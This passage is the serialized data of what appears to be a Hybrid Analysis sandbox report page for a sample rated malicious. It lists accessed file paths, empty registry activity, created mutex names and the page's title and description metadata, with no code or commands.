icrosoft\\CryptnetUrlCache\\MetaData\\77EC63BDA74BD0D0E0426DC8F8008506","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"path":"\\FileSystem\\Filters\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]}],"files_deleted":null},"registry_activity":{"keys_created":null,"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\_SHuassist.mtx","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"name":"_SHuassist.mtx","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\.net clr networking","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"name":"Global\\.net clr networking","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"name":"RasPbFile","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]}]}},"report_ids":{"sandbox_job_ids":["6568e30d46fa6a508e01dd31"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Sample 0517bf10dbb8… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 0517bf10dbb8…. Threat score 100/100. 3/26 AV engines flagged this file. 5 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/0517bf10dbb8a2078f9a7bccea9fab3012093f637568dadfc5410a7ffad41452"}],["$","meta","4",{"property":"og:title","content":"Malicious Sample 0517bf10dbb8… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 0517bf10dbb8…. Threat score 100/100. 3/26 AV engines flagged this file. 5 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/0517bf10dbb8a2078f9a7bccea9fab3012093f637568dadfc5410a7ffad41452"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Sample 0517bf10dbb8… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 0517bf10dbb8…. Threat score 100/100. 3/26 AV engines flagged this file. 5 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L4e","11",{}]]